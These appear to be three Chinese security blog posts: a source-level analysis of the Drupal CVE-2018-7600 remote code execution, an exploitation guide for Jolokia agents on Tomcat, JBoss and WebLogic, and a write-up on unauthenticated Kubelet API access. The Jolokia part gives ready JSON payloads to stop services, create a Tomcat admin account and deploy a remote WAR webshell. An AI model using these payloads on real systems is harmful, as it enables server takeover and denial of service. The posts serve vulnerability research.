Drupal CVE-2018-7600 分析及 PoC 构造
漏洞分析
Drupal 在 3 月 28 日爆出一个远程代码执行漏洞,CVE 编号 CVE-2018-7600,通过对比官方的补丁,可以得知是请求中存在 # 开头的参数。Drupal Render API 对于 # 有特殊处理,比如如下的数组:
$form['choice_wrapper'] = array(
'#tree' => FALSE,
'#weight' => -4,
'#prefix' => '<div class="clearfix" id="poll-choice-wrapper">',
'#suffix' => '</div>',
);
比如 #prefix
代表了在 Render 时元素的前缀,#suffix
代表了后缀。
通过查阅 Drupal 的代码和文档,可以知道,对于 #pre_render
,#post_render
、#submit
、#validate
等变量,Drupal 通过 call_user_func
的方式进行调用。
在 Drupal 中,对于 #pre_render
的处理如下:
// file: \core\lib\Drupal\Core\Render\Renderer.php
if (isset($elements['#pre_render'])) {
foreach ($elements['#pre_render'] as $callable) {
if (is_string($callable) && strpos($callable, '::') === FALSE) {
$callable = $this->controllerResolver->getControllerFromDefinition($callable);
}
$elements = call_user_func($callable, $elements);
}
}
所以如果我们能将这些变量注入到 $form
数组中,即可造成代码执行的问题。
但是由于 Drupal 代码复杂,调用链很长,所以导致了所谓“开局一个 #,剩下全靠猜”的尴尬局面,即使知道了漏洞触发点,但是找不到入口点一样尴尬。直到昨日,CheckPoint 发布了一篇分析博客,我才注意到原来 Drupal 8.5 提供了 Ajax 上传头像的点,并且明显存在一个 $form
数组的操纵。在已经知道触发点的情况下,构造剩下的 PoC 就非常容易了。
PoC 构造
CheckPoint 提供的截图显示,是在 Drupal 8.5.0 注册处,漏洞文件为:\core\modules\file\src\Element\ManagedFile.php
,代码如下:
public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
/** @var \Drupal\Core\Render\RendererInterface $renderer */
$renderer = \Drupal::service('renderer');
$form_parents = explode('/', $request->query->get('element_parents'));
// Retrieve the element to be rendered.
$form = NestedArray::getValue($form, $form_parents);
// Add the special AJAX class if a new file was added.
$current_file_count = $form_state->get('file_upload_delta_initial');
if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
$form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
}
// Otherwise just add the new content class on a placeholder.
else {
$form['#suffix'] .= '<span class="ajax-new-content"></span>';
}
$status_messages = ['#type' => 'status_messages'];
$form['#prefix'] .= $renderer->renderRoot($status_messages);
$output = $renderer->renderRoot($form);
代码第五行,取出 $_GET["element_parents"]
赋值给 $form_parents
,然后进入 NestedArray::getValue
进行处理:
public static function &getValue(array &$array, array $parents, &$key_exists = NULL) {
$ref = &$array;
foreach ($parents as $parent) {
if (is_array($ref) && (isset($ref[$parent]) || array_key_exists($parent, $ref))) {
$ref = &$ref[$parent];
}
else {
$key_exists = FALSE;
$null = NULL;
return $null;
}
}
$key_exists = TRUE;
return $ref;
}
NestedArray::getValue
函数的主要功能就是将 $parents
作为 key path,然后逐层取出后返回。举个例子,对于数组:
array(
"a" => array(
"b" => array(
"c" => "123",
"d" => "456"
)
)
)
及 $parents
:a/b/c
,最后得到的结果为 456
。
查看一下在正常上传是,传入的 $form
:
似乎 #value
是我们传入的变量,尝试注入数组:
发现成功注入:
那么通过 NestedArray::getValue
函数,可以传入 element_parents
为 account/mail/#value
,最后可以令 $form
为我们注入的数组:
在 Render API 处理 #pre_render
时候造成代码执行:
Exploit 构造
虽然实现了代码执行,但是 #pre_render
调用的参数是一个数组,所以导致我们不能任意的执行代码。不过 Render API 存在很多可以查看的地方,通过翻阅 Renderer::doRender
函数,注意到 #lazy_builder
:
$supported_keys = [
'#lazy_builder',
'#cache',
'#create_placeholder',
'#weight',
'#printed'
];
$unsupported_keys = array_diff(array_keys($elements), $supported_keys);
if (count($unsupported_keys)) {
throw new \DomainException(sprintf('When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: %s.', implode(', ', $unsupported_keys)));
}
}
...
// Build the element if it is still empty.
if (isset($elements['#lazy_builder'])) {
$callable = $elements['#lazy_builder'][0];
$args = $elements['#lazy_builder'][1];
if (is_string($callable) && strpos($callable, '::') === FALSE) {
$callable = $this->controllerResolver->getControllerFromDefinition($callable);
}
$new_elements = call_user_func_array($callable, $args);
...
}
#lazy_builder
是一个 array,其中元素 0 为函数名,参数 1 是一个数组,是参数列表。接着利用 call_user_func_array
进行调用。不过注意到上方这段代码:
$unsupported_keys = array_diff(array_keys($elements), $supported_keys);
意思为传入的 $elements
数组中不能存在除了 $supported_keys
之外的 key,常规传入的数组为:
比要求的数组多了 #suffix
和 #prefix
。不过 Render API 有 children element 的说法:
// file: \core\lib\Drupal\Core\Render\Element.php
public static function children(array &$elements, $sort = FALSE) {
...
foreach ($elements as $key => $value) {
if ($key === '' || $key[0] !== '#') {
if (is_array($value)) {
if (isset($value['#weight'])) {
$weight = $value['#weight'];
$sortable = TRUE;
}
else {
$weight = 0;
当数组中的参数不以 # 开头时,会当作 children element 进行子渲染,所以我们传入 mail[a][#lazy_builder]
,在进行子渲染的过程中,就会得到一个干净的数组,最终导致命令执行。
Exploiting Jolokia Agent with Java EE Servers
0x00 - About Jolokia
Jolokia 是一个通过 HTTP 的 JMX 连接器,提供了类 RESTful 的操作方式,可以通过 POST JSON 的方式访问和修改 JMX 属性、执行 JMX 操作、搜索 MBean、列出 MBean 的 Meta-data 等。
Jolokia 支持提供了多种 Agents,包括 WAR Agent、OSGi Agent、JVM Agent 或者 Mule Agent。其中 WAR Agent 支持了多种 Web Server:
- JBoss 4.2.3, 5.1.0, 6.1.0, 7.0.2, 7.1.1, 8.0.0
- Oracle WebLogic 9.2.3.0, 10.0.2.0, 10.3.6.0
- Glassfish 2.1.1, 3.0.1, 3.1.2, 4.0.0
- IBM Websphere 6.1.0.33, 7.0.0.11, 8.0.0.1, 8.5
- Apache Tomcat 5.5.35, 6.0.37, 7.0.52, 8.0.3
- Jetty 5.1.15, 6.1.26, 7.6.9, 8.1.9, 9.1.2
- Resin 3.1.9
- Jonas 4.10.7, 5.1.1, 5.2.1
- Apache Geronimo 2.1.6, 2.2.1, 3.0.0
- Spring dm Server 2.0.0.RELEASE
- Eclipse Virgo 2.1.0
通过 Jolokia,可以方便的操作 MBean,通过 GET 的例子:
ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/read/java.lang:type=Memory/HeapMemoryUsage | jq
{
"request": {
"mbean": "java.lang:type=Memory",
"attribute": "HeapMemoryUsage",
"type": "read"
},
"value": {
"init": 94371840,
"committed": 91226112,
"max": 129761280,
"used": 32536960
},
"timestamp": 1522138479,
"status": 200
}
或者 POST 一个 JSON:
ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/ --data ' {
> "mbean":"java.lang:type=Memory",
> "attribute":"HeapMemoryUsage",
> "type":"READ"
> }' | jq
{
"request": {
"mbean": "java.lang:type=Memory",
"attribute": "HeapMemoryUsage",
"type": "read"
},
"value": {
"init": 94371840,
"committed": 91226112,
"max": 129761280,
"used": 33277720
},
"timestamp": 1522138552,
"status": 200
}
Jolokia 支持 READ、WRITE、SEARCH、EXEC、LIST 等操作,具体可以参考官方文档:Jolokia - Reference Documentation 。
0x01 - Jolokia Security Issues
1. JNDI Injection
Jolokia 支持一个叫做代理模式(Proxy Mode)的东西,是为了解决不能将 Jolokia Agent 部署在目标平台上的问题。具体架构如下:
可以通过向 Jolokia 发送 POST 请求来触发:
{
"type":"READ"
"mbean":"java.lang:type=Threading",
"attribute":"ThreadCount",
"target": {
"url":"service:jmx:rmi:///jndi/rmi://hostname:1234/jmxrmi",
}
}
熟悉 Java 安全的朋友可能会注意到,这里可能有一个 JNDI 注入。的确,在 WAR Agent 的情况下,此处存在一个 JNDI 注入,问题发生在 agent\jsr160\src\main\java\org\jolokia\jsr160\Jsr160RequestDispatcher.java
:
public Object dispatchRequest(JmxRequest pJmxReq)
throws InstanceNotFoundException, AttributeNotFoundException, ReflectionException, MBeanException, IOException, NotChangedException {
JsonRequestHandler handler = requestHandlerManager.getRequestHandler(pJmxReq.getType());
JMXConnector connector = null;
try {
connector = createConnector(pJmxReq);
connector.connect();
....
当 Web Container 将请求的交由 Jsr160RequestDispatcher
处理时,Jolokia Agent 创建连接,导致 JNDI 注入。在 WAR Agent 里,默认是由 Jsr160RequestDispatcher
处理的,这一点在 web.xml 也有体现:
<servlet-name>jolokia-agent</servlet-name>
<servlet-class>org.jolokia.http.AgentServlet</servlet-class>
<init-param>
<description>
Class names (comma separated) of RequestDispatcher used in addition
to the LocalRequestDispatcher
</description>
<param-name>dispatcherClasses</param-name>
<param-value>org.jolokia.jsr160.Jsr160RequestDispatcher</param-value>
</init-param>
那么,攻击者只需发送一个带有 Evil JMXRMI 的地址的 JSON,即可利用 JNDI 在目标机器上执行命令。
2. Information Disclosure
Jolokia 中有一个默认注册的 MBean:com.sun.management:type=HotSpotDiagnostic
,这个 MBean 中存在 dumpHeap 方法,可以 dump 内存到指定的目录。同时在低版本的 Java 中(比如 1.8.0_11),导出的文件名可以设置任意名称,而非 .hprof
后缀。
下载后可以通过分析文件获取一些敏感信息:
如上图就获得了 Tomcat 管理员的账号密码,可以通过部署 WAR 文件的方式进行 getshell。
0x02 - Tomcat with Jolokia
1. DoS
部署了 Jolokia 后,可以访问 /jolokia/list
查看可用的 MBean,通过翻阅可以发现 Tomcat + Jolokia 的情况下存在一些敏感操作,比如关闭服务:
{
"type": "EXEC",
"mbean": "Catalina:type=Service",
"operation": "stop",
"arguments": []
}
这样会造成 DoS,虽然没啥用。
2. Create Admin Account
问题在 User:database=UserDatabase,type=UserDatabase
下,其包括了 createRole
、createUser
等操作,攻击流程为:
// 创建 manager-gui
{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=UserDatabase",
"operation": "createRole",
"arguments": ["manager-gui", ""]
}
// 创建用户
{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=UserDatabase",
"operation": "createUser",
"arguments": ["test233", "test233", ""]
}
// 增加角色
{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=User,username=\"test233\"",
"operation": "addRole",
"arguments": ["manager-gui"]
}
接着利用 test233 / test233 登陆即可。
0x03 - JBoss with Jolokia
1. DoS
关闭服务:
{
"type": "EXEC",
"mbean": "jboss.web.deployment:war=/ROOT",
"operation": "stop",
"arguments": []
}
1. Deploy WAR
JBoss 中,通过 JMX Console 部署 WAR 是最为人所知的,JBoss 中的 jboss.system:service=MainDeployer
提供了这个方法。由于此方法是重载的,所以需要指定一个 signature,也就是下图的deploy(java.lang.String)
:
{
"type": "EXEC",
"mbean": "jboss.system:service=MainDeployer",
"operation": "deploy(java.lang.String)",
"arguments": ["http://127.0.0.1:1235/test.war"]
}
接着通过访问 /test
即可进入 webshell。
0x04 Others
Weblogic 暴露出很多 MBean,但是有一些方法存在限制:
weblogic.management.NoAccessRuntimeException: Access not allowed for subject: principals=[], on ResourceType: WLDFImageRuntime Action: execute, Target: captureImage
可能会有其他的 MBean 可以进行操作,但是由于 MBean 繁多,没有太多精力去看。Jetty 没有暴露什么 MBean,所以暂时没有什么方法。ActiveMQ 有一些 MBean,粗略看了下没有发现什么问题,如果大家发现了,可以多多交流。
0x05 Reference
写在最后:Jolokia 可以暴露出更多的攻击面,通过这些攻击面进行操作来获取更高的权限,本文仅仅分析了部分 Java EE Servers 所呈现出来的 MBean,但是由于 Jolokia 支持多种 Agent,所以暴露出的东西不止如此。
此外,这次分析仅仅是在业务层面上进行分析,没有跟进到源码层面。可能会有如下情况:某个 MBean 进行了 JNDI lookup,或者远程下载文件保存在本地,反序列化某一些内容等等,通过 Jolokia 进行操作可以二次利用这些问题来 RCE。这就需要具体情况具体分析了,本文如有错误,欢迎指正 :D
Security Issues of Kubelet HTTP(s) Server
1. 认证介绍
Kubelet 在 10250 端口上提供了一个 HTTPS 的 API,通过这个 API 可以控制 Pods。Kubelet 对此 API 设置了几种认证方式,通过--authorization-mode
指定:
- ABAC (Attribute-Based Access Control)
- RBAC (Role-based access control)
- Webhook
- Node
- AlwaysAllow(不指定
--authorization-mode
时的默认值) - AlwaysDeny
在 Kubelet 的老版本(1.5 之前)不支持认证和授权,这就导致攻击者可以通过访问 10250 端口的 API 来获取容器权限。
2. 容器内命令执行
通过 /runningpods
获取正在运行的 Pod 列表:
需要的几个参数:namespace、pod_name 和 container_name。接着利用这几个参数请求 /run
:
即可在容器中运行任意命令,或者控制容器。
3. 信息泄漏
Kubelet HTTP API 源码文件在 /pkg/kubelet/server/server.go,代码如下:
ws.
Path(logsPath)
ws.Route(ws.GET("").
To(s.getLogs).
Operation("getLogs"))
ws.Route(ws.GET("/{logpath:*}").
To(s.getLogs).
Operation("getLogs").
Param(ws.PathParameter("logpath", "path to the log").DataType("string")))
s.restfulCont.Add(ws)
调用 getLogs
方法,接着调用 ServeLogs
:
func (kl *Kubelet) ServeLogs(w http.ResponseWriter, req *http.Request) {
// TODO: whitelist logs we are willing to serve
kl.logServer.ServeHTTP(w, req)
}
定位到:
func (kl *Kubelet) Run(updates <-chan kubetypes.PodUpdate) {
if kl.logServer == nil {
kl.logServer = http.StripPrefix("/logs/", http.FileServer(http.Dir("/var/log/")))
}
if kl.kubeClient == nil {
glog.Warning("No api server defined - no node status update will be sent.")
}
实际上就是启动了一个 FileServer
,目录为 /var/log
。所以可以通过访问 /logs
来列出 /var/log
的目录,会造成一些信息泄露的问题。
另外如果挂载了 /var/log
到容器内的话,可以通过在容器内创建软链接到 /
,再利用 /logs
即可读取容器外的任意文件。不过在实际环境中我暂时还没有遇到过(难受)。
参考
- https://github.com/kayrus/kubelet-exploit
- https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/server/server.go